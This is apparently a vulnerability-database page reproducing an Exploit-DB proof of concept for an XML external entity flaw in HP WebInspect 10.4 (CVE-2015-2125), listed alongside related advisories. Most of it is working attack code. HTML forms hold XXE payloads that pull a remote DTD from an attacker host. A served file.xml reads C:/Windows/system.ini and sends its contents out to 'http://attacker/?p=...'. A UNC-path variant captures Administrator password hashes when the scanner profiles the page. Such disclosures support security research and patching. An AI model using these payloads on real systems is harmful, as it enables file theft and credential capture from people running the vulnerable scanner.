Lucene search
K

HP WebInspect 10.4 - XML External Entity Injection

🗓️ 10 Jun 2015 00:00:00Reported by Jakub PalaczynskiType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 34 Views

WebInspect 10.4 XML External Entity Injection CVE-2015-212

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2015-2125
7 Jun 201518:59
attackerkb
CNVD
Unspecified Authorized Access Vulnerability in HP WebInspect
7 Jun 201500:00
cnvd
CVE
CVE-2015-2125
7 Jun 201518:00
cve
Cvelist
CVE-2015-2125
7 Jun 201518:00
cvelist
exploitpack
HP WebInspect 10.4 - XML External Entity Injection
10 Jun 201500:00
exploitpack
Tenable Nessus
HP WebInspect XXE Unauthorized Information Disclosure
15 Jun 201500:00
nessus
NVD
CVE-2015-2125
7 Jun 201518:59
nvd
Packet Storm
HP WebInspect 10.4 XML External Entity
12 Jun 201500:00
packetstorm
Prion
Design/Logic Flaw
7 Jun 201518:59
prion
securityvulns
[security bulletin] HPSBGN03343 rev.1 - HP WebInspect, Remote Unauthorized Access
8 Jun 201500:00
securityvulns
Rows per page
# Exploit Title: HP WebInspect - XML External Entity
# Date: 23\04\2015
# Exploit Author: Jakub Palaczynski
# Vendor Homepage: http://www.hp.com/
# Version: 10.4, 10.3, 10.2, 10.1, 10.0, 9.x, 8.x, 7.x
# CVE : CVE-2015-2125

1. Create website that exploits vulnerability.

1.1. Website that steals files using OOB technique:
1.1.1. Website that triggers vulnerability:
<html>
<body>

<form action="/" method="POST">
<input type="hidden" name="payload" value='<?xml+version="1.0"+encoding="utf-8"?><!DOCTYPE+m+[+<!ENTITY+%25+remote+SYSTEM+"http://attacker/file.xml">%25remote;%25int;%25trick;]><tag></tag>'/>
<input type="submit" value="Submit" />
</form>

</body>
</html>
1.1.2. file.xml file that is served on attacker's host. This file specifies which file should be retrieved from remote host and where content of that file should be sent:
<!ENTITY % payl SYSTEM "file:///C:/Windows/system.ini">

<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://attacker/?p=%payl;'>">

1.2. Website that steals hashes of Administrator user:
1.2.1. Website that triggers vulnerability:
<html>
<body>

<form action="/" method="POST">
<input type="hidden" name="payload" value='<?xml+version="1.0"+encoding="utf-8"?><!DOCTYPE+m+[+<!ENTITY+%25+remote+SYSTEM+"\\attacker\path\file.txt">%25remote;]><tag></tag>'/>
<input type="submit" value="Submit" />
</form>

</body>
</html>
1.2.2. Attacker needs to start tool on the server that captures hashes.

2. Exploit is triggered while profiling or scanning created application using vulnerable versions of HP WebInspect.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation